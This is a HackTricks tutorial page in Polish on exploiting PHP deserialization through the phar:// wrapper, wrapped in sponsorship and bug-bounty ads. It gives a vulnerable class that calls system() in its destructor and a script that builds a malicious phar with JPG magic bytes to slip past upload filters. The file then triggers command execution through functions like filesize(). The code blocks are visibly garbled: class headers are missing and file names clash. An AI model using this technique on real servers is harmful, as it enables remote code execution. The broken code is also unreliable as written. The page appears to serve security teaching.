# Deserializacja phar://
Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
**Wskazówka dotycząca nagrody za błąd**: **Zarejestruj się** na **Intigriti**, platformę do **nagród za błędy premium stworzoną przez hakerów, dla hakerów**! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} Pliki **Phar** (PHP Archive) zawierają metadane w formacie zserializowanym, więc, gdy są analizowane, te **metadane** są **deserializowane** i można próbować wykorzystać podatność na **deserializację** w kodzie **PHP**. Najlepszą rzeczą w tej charakterystyce jest to, że ta deserializacja nastąpi nawet przy użyciu funkcji PHP, które nie ewaluują kodu PHP, takich jak **file\_get\_contents(), fopen(), file() lub file\_exists(), md5\_file(), filemtime() lub filesize()**. Wyobraź sobie sytuację, w której możesz sprawić, że PHP na stronie internetowej pobierze rozmiar dowolnego pliku za pomocą protokołu **`phar://`**, a w kodzie znajdziesz **klasę** podobną do następującej: {% code title="vunl.php" %} ```php data = $data; } function __destruct() { system($this->data); } } filesize("phar://test.phar"); #The attacker can control this path ``` {% endcode %} Możesz utworzyć plik **phar**, który po załadowaniu będzie **wykorzystywać tę klasę do wykonania dowolnych poleceń** w ten sposób: {% code title="create_phar.php" %} ```php data = $data; } function __destruct() { system($this->data); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n"); // add object of any class as meta data $object = new AnyClass('whoami'); $phar->setMetadata($object); $phar->stopBuffering(); ``` {% endcode %} Zauważ, jak **magiczne bajty JPG** (`\xff\xd8\xff`) są dodawane na początku pliku phar, aby **obejść** **ewentualne** **ograniczenia** dotyczące **przesyłania** **plików**.\ **Skompiluj** plik `test.phar` za pomocą: ```bash php --define phar.readonly=0 create_phar.php ``` I wykonaj polecenie `whoami` nadużywając podatnego kodu za pomocą: ```bash php vuln.php ``` ### Odnośniki {% embed url="https://blog.ripstech.com/2018/new-php-exploitation-technique/" %}
**Wskazówka dotycząca bug bounty**: **Zarejestruj się** na platformie bug bounty **Intigriti**, stworzonej przez hakerów, dla hakerów! Dołącz do nas na [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) już dziś i zacznij zarabiać nagrody aż do **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %}
Dowiedz się, jak hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.